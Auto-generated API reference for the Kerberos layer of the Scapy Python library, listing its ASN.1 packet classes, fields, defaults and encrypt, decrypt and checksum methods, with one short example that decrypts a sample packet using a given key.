	Public Key Cryptography Based User-to-User Authentication (PKU2U): draft-zhu-pku2u-09


	Initial and Pass Through Authentication Using Kerberos V5 (IAKERB):
draft-ietf-kitten-iakerb-03


	Kerberos Protocol Extensions: [MS-KILE]


	Kerberos Protocol Extensions: Service for User: [MS-SFU]





Note

You will find more complete documentation for this layer over at
Kerberos [https://scapy.readthedocs.io/en/latest/layers/kerberos.html]



Example decryption:

>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> pkt = Ether(hex_bytes("525400695813525400216c2b08004500015da71840008006dc\
83c0a87a9cc0a87a11c209005854f6ab2392c25bd650182014b6e00000000001316a8201\
2d30820129a103020105a20302010aa3633061304ca103020102a24504433041a0030201\
12a23a043848484decb01c9b62a1cabfbc3f2d1ed85aa5e093ba8358a8cea34d4393af93\
bf211e274fa58e814878db9f0d7a28d94e7327660db4f3704b3011a10402020080a20904\
073005a0030101ffa481b73081b4a00703050040810010a1123010a003020101a1093007\
1b0577696e3124a20e1b0c444f4d41494e2e4c4f43414ca321301fa003020102a1183016\
1b066b72627467741b0c444f4d41494e2e4c4f43414ca511180f32303337303931333032\
343830355aa611180f32303337303931333032343830355aa7060204701cc5d1a8153013\
0201120201110201170201180202ff79020103a91d301b3019a003020114a11204105749\
4e31202020202020202020202020"))
>>> enc = pkt[Kerberos].root.padata[0].padataValue
>>> k = Key(enc.etype.val, key=hex_bytes("7fada4e566ae4fb270e2800a23a\
e87127a819d42e69b5e22de0ddc63da80096d"))
>>> enc.decrypt(k)






	
scapy.layers.kerberos.ADMANDATORYFORKDC[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L599-L603]

	alias of AuthorizationData






	
class scapy.layers.kerberos.AD_AND_OR(_pkt, /, *, conditionCount=0x0 <ASN1_INTEGER[0]>, elements=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L625-L630]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
AD_AND_OR fields






	conditionCount

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	elements

	ASN1F_PACKET

	None















	
scapy.layers.kerberos.AD_IF_RELEVANT[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L599-L603]

	alias of AuthorizationData






	
class scapy.layers.kerberos.AD_KDCIssued(_pkt, /, *, adChecksum=<Checksum  |>, iRealm=<ASN1_GENERAL_STRING['']>, iSname=None, elements=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L610-L619]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
AD_KDCIssued fields






	adChecksum

	ASN1F_PACKET

	<Checksum  |>



	iRealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	iSname

	ASN1F_PACKET

	None



	elements

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.ASN1_Class_KRB[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L145-L165]

	Bases: ASN1_Class


	
AP_REP = <ASN1Tag AP_REP[111]>

	




	
AP_REQ = <ASN1Tag AP_REQ[110]>

	




	
AS_REP = <ASN1Tag AS_REP[107]>

	




	
AS_REQ = <ASN1Tag AS_REQ[106]>

	




	
Authenticator = <ASN1Tag Authenticator[98]>

	




	
CRED = <ASN1Tag CRED[118]>

	




	
ERROR = <ASN1Tag ERROR[126]>

	




	
EncAPRepPart = <ASN1Tag EncAPRepPart[123]>

	




	
EncASRepPart = <ASN1Tag EncASRepPart[121]>

	




	
EncKrbCredPart = <ASN1Tag EncKrbCredPart[125]>

	




	
EncKrbPrivPart = <ASN1Tag EncKrbPrivPart[124]>

	




	
EncTGSRepPart = <ASN1Tag EncTGSRepPart[122]>

	




	
EncTicketPart = <ASN1Tag EncTicketPart[99]>

	




	
PRIV = <ASN1Tag PRIV[117]>

	




	
TGS_REP = <ASN1Tag TGS_REP[109]>

	




	
TGS_REQ = <ASN1Tag TGS_REQ[108]>

	




	
Ticket = <ASN1Tag Ticket[97]>

	




	
Token = <ASN1Tag Token[96]>

	




	
name = 'Kerberos'

	








	
class scapy.layers.kerberos.AuthorizationData(_pkt, /, *, seq=[<AuthorizationDataItem  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L599-L603]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF seq>

	




	
aliastypes

	




	
fields_desc

	
AuthorizationData fields






	seq

	ASN1F_SEQUENCE_OF

	[<AuthorizationDataItem  |>]















	
class scapy.layers.kerberos.AuthorizationDataItem(_pkt, /, *, adType=0x0 <ASN1_INTEGER[0]>, adData=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L586-L596]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.layers.kerberos._AuthorizationData_value_Field object>)>

	




	
aliastypes

	




	
fields_desc

	
AuthorizationDataItem fields






	adType

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	adData

	_AuthorizationData_value_Field

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.ChangePasswdData(_pkt, /, *, newpasswd=<ASN1_STRING[<ASN1_STRING['']>]>, targname=None, targrealm=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2317-L2325]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ChangePasswdData fields






	newpasswd

	ASN1F_STRING

	<ASN1_STRING[<ASN1_STRING['']>]>



	targname

	ASN1F_PACKET

	None



	targrealm

	ASN1F_GENERAL_STRING

	None















	
class scapy.layers.kerberos.Checksum(_pkt, /, *, cksumtype=0x0 <ASN1_INTEGER[0]>, checksum=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L439-L508]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.layers.kerberos._Checksum_Field object>)>

	




	
aliastypes

	




	
fields_desc

	
Checksum fields






	cksumtype

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	checksum

	_Checksum_Field

	<ASN1_STRING['']>











	
get_usage()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L451-L475]

	Get current key usage number






	
make(key, text, key_usage_number=None, cksumtype=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L490-L508]

	Encrypt text and set it into cipher.


	Parameters:

	
	key – the key to use to make the checksum


	text – the bytes to make a checksum of


	key_usage_number – (optional) specify the key usage number.
Guessed otherwise













	
verify(key, text, key_usage_number=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L477-L488]

	Decrypt and return the data contained in cipher.


	Parameters:

	
	key – the key to use to check the checksum


	text – the bytes to verify


	key_usage_number – (optional) specify the key usage number.
Guessed otherwise

















	
class scapy.layers.kerberos.DHRepInfo(_pkt, /, *, dhSignedData=<ASN1_STRING['']>, serverDHNonce=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1115-L1122]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
DHRepInfo fields






	dhSignedData

	ASN1F_STRING

	<ASN1_STRING['']>



	serverDHNonce

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.ETYPE_INFO(_pkt, /, *, seq=[<ETYPE_INFO_ENTRY  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L747-L749]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF seq>

	




	
aliastypes

	




	
fields_desc

	
ETYPE_INFO fields






	seq

	ASN1F_SEQUENCE_OF

	[<ETYPE_INFO_ENTRY  |>]















	
class scapy.layers.kerberos.ETYPE_INFO2(_pkt, /, *, seq=[<ETYPE_INFO_ENTRY2  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L770-L772]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF seq>

	




	
aliastypes

	




	
fields_desc

	
ETYPE_INFO2 fields






	seq

	ASN1F_SEQUENCE_OF

	[<ETYPE_INFO_ENTRY2  |>]















	
class scapy.layers.kerberos.ETYPE_INFO_ENTRY(_pkt, /, *, etype=0x1 <ASN1_INTEGER[1]>, salt=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L737-L744]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ETYPE_INFO_ENTRY fields






	etype

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	salt

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.ETYPE_INFO_ENTRY2(_pkt, /, *, etype=0x1 <ASN1_INTEGER[1]>, salt=<ASN1_GENERAL_STRING['']>, s2kparams=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L757-L767]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ETYPE_INFO_ENTRY2 fields






	etype

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	salt

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	s2kparams

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.EncAPRepPart(_pkt, /, *, ctime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, cusec=0x0 <ASN1_INTEGER[0]>, subkey=None, seqNumber=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1581-L1595]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
EncAPRepPart fields






	ctime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	cusec

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	subkey

	ASN1F_PACKET

	None



	seqNumber

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.kerberos.EncASRepPart(_pkt, /, *, key=None, lastReq=[], nonce=0x0 <ASN1_INTEGER[0]>, keyExpiration=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, flags=<ASN1_BIT_STRING[]=b'' (0 unused bit)>, authtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, starttime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, endtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, renewTill=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, srealm=<ASN1_GENERAL_STRING['']>, sname=<PrincipalName  |>, caddr=[], encryptedPaData=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1493-L1498]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <ASN1F_SEQUENCE_OF lastReq>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_FLAGS object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
EncASRepPart fields






	key

	ASN1F_PACKET

	None



	lastReq

	ASN1F_SEQUENCE_OF

	[]



	nonce

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	keyExpiration

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	flags

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>



	authtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	starttime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	endtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	renewTill

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	srealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	sname

	ASN1F_PACKET

	<PrincipalName  |>



	caddr

	ASN1F_SEQUENCE_OF

	[]



	encryptedPaData

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.kerberos.EncKeyPack(_pkt, /, *, encKeyPack=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1125-L1127]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
EncKeyPack fields






	encKeyPack

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.EncKrbCredPart(_pkt, /, *, ticketInfo=[<KrbCredInfo  key=<EncryptionKey  |> |>], nonce=None, timestamp=None, usec=None, sAddress=None, cAddress=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1692-L1719]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<ASN1F_SEQUENCE_OF ticketInfo>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
EncKrbCredPart fields






	ticketInfo

	ASN1F_SEQUENCE_OF

	[<KrbCredInfo  key=<EncryptionKey  |> |>]



	nonce

	ASN1F_INTEGER

	None



	timestamp

	ASN1F_GENERALIZED_TIME

	None



	usec

	ASN1F_INTEGER

	None



	sAddress

	ASN1F_PACKET

	None



	cAddress

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.EncKrbPrivPart(_pkt, /, *, userData=<ASN1_STRING[<ASN1_STRING['']>]>, timestamp=None, usec=None, seqNumber=None, sAddress=None, cAddress=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1613-L1633]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
EncKrbPrivPart fields






	userData

	ASN1F_STRING

	<ASN1_STRING[<ASN1_STRING['']>]>



	timestamp

	ASN1F_GENERALIZED_TIME

	None



	usec

	ASN1F_INTEGER

	None



	seqNumber

	ASN1F_INTEGER

	None



	sAddress

	ASN1F_PACKET

	None



	cAddress

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.EncTGSRepPart(_pkt, /, *, key=None, lastReq=[], nonce=0x0 <ASN1_INTEGER[0]>, keyExpiration=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, flags=<ASN1_BIT_STRING[]=b'' (0 unused bit)>, authtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, starttime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, endtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, renewTill=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, srealm=<ASN1_GENERAL_STRING['']>, sname=<PrincipalName  |>, caddr=[], encryptedPaData=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1501-L1506]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <ASN1F_SEQUENCE_OF lastReq>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_FLAGS object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
EncTGSRepPart fields






	key

	ASN1F_PACKET

	None



	lastReq

	ASN1F_SEQUENCE_OF

	[]



	nonce

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	keyExpiration

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	flags

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>



	authtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	starttime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	endtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	renewTill

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	srealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	sname

	ASN1F_PACKET

	<PrincipalName  |>



	caddr

	ASN1F_SEQUENCE_OF

	[]



	encryptedPaData

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.kerberos.EncTicketPart(_pkt, /, *, flags=<ASN1_BIT_STRING[]=b'' (0 unused bit)>, key=<EncryptionKey  |>, crealm=<ASN1_GENERAL_STRING['']>, cname=<PrincipalName  |>, transited=<TransitedEncoding  |>, authtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, starttime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, endtime=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, renewTill=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, addresses=[], authorizationData=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1276-L1310]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_FLAGS object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
EncTicketPart fields






	flags

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>



	key

	ASN1F_PACKET

	<EncryptionKey  |>



	crealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cname

	ASN1F_PACKET

	<PrincipalName  |>



	transited

	ASN1F_PACKET

	<TransitedEncoding  |>



	authtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	starttime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	endtime

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	renewTill

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	addresses

	ASN1F_SEQUENCE_OF

	[]



	authorizationData

	ASN1F_PACKET

	None















	
class scapy.layers.kerberos.EncryptedData(_pkt, /, *, etype=0x17 <ASN1_INTEGER[23]>, kvno=None, cipher=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L283-L388]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
decrypt(key, key_usage_number=None, cls=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L335-L371]

	Decrypt and return the data contained in cipher.


	Parameters:

	
	key – the key to use for decryption


	key_usage_number – (optional) specify the key usage number.
Guessed otherwise


	cls – (optional) the class of the decrypted payload
Guessed otherwise (or bytes)













	
encrypt(key, text, confounder=None, key_usage_number=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L373-L388]

	Encrypt text and set it into cipher.


	Parameters:

	
	key – the key to use for encryption


	text – the bytes value to encode


	confounder – (optional) specify the confounder bytes. Random otherwise


	key_usage_number – (optional) specify the key usage number.
Guessed otherwise













	
fields_desc

	
EncryptedData fields






	etype

	ASN1F_enum_INTEGER

	0x17 <ASN1_INTEGER[23]>



	kvno

	ASN1F_INTEGER

	None



	cipher

	ASN1F_STRING

	<ASN1_STRING['']>











	
get_usage()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L291-L333]

	Get current key usage number and encrypted class










	
class scapy.layers.kerberos.EncryptionKey(_pkt, /, *, keytype=0x0 <ASN1_INTEGER[0]>, keyvalue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L391-L411]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
EncryptionKey fields






	keytype

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	keyvalue

	ASN1F_STRING

	<ASN1_STRING['']>











	
classmethod fromKey(key)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L406-L411]

	




	
toKey()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L398-L404]

	








	
class scapy.layers.kerberos.ExternalPrincipalIdentifier(_pkt, /, *, subjectName=<ASN1_STRING['']>, issuerAndSerialNumber=<ASN1_STRING['']>, subjectKeyIdentifier=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1077-L1089]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ExternalPrincipalIdentifier fields






	subjectName

	ASN1F_STRING

	<ASN1_STRING['']>



	issuerAndSerialNumber

	ASN1F_STRING

	<ASN1_STRING['']>



	subjectKeyIdentifier

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.HostAddress(_pkt, /, *, addrType=0x0 <ASN1_INTEGER[0]>, address=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L527-L537]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
HostAddress fields






	addrType

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	address

	ASN1F_STRING

	<ASN1_STRING['']>















	
scapy.layers.kerberos.HostAddresses(name, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L540-L542]

	




	
class scapy.layers.kerberos.IAKERB_HEADER(_pkt, /, *, targetRealm=<ASN1_GENERAL_STRING['']>, cookie=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2192-L2199]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
IAKERB_HEADER fields






	targetRealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cookie

	ASN1F_STRING

	None















	
class scapy.layers.kerberos.KERB_AD_LOGIN_ALIAS(_pkt, /, *, loginAliases=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L913-L915]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE_OF loginAliases>,)>

	




	
aliastypes

	




	
fields_desc

	
KERB_AD_LOGIN_ALIAS fields






	loginAliases

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.kerberos.KERB_AD_RESTRICTION_ENTRY(_pkt, /, *, restrictionType=0x0 <ASN1_INTEGER[0]>, restriction=<ASN1_STRING[b'']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L858-L871]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.layers.kerberos._KerbAdRestrictionEntry_Field object>)>,)>

	




	
aliastypes

	




	
fields_desc

	
KERB_AD_RESTRICTION_ENTRY fields






	restrictionType

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	restriction

	_KerbAdRestrictionEntry_Field

	<ASN1_STRING[b'']>















	
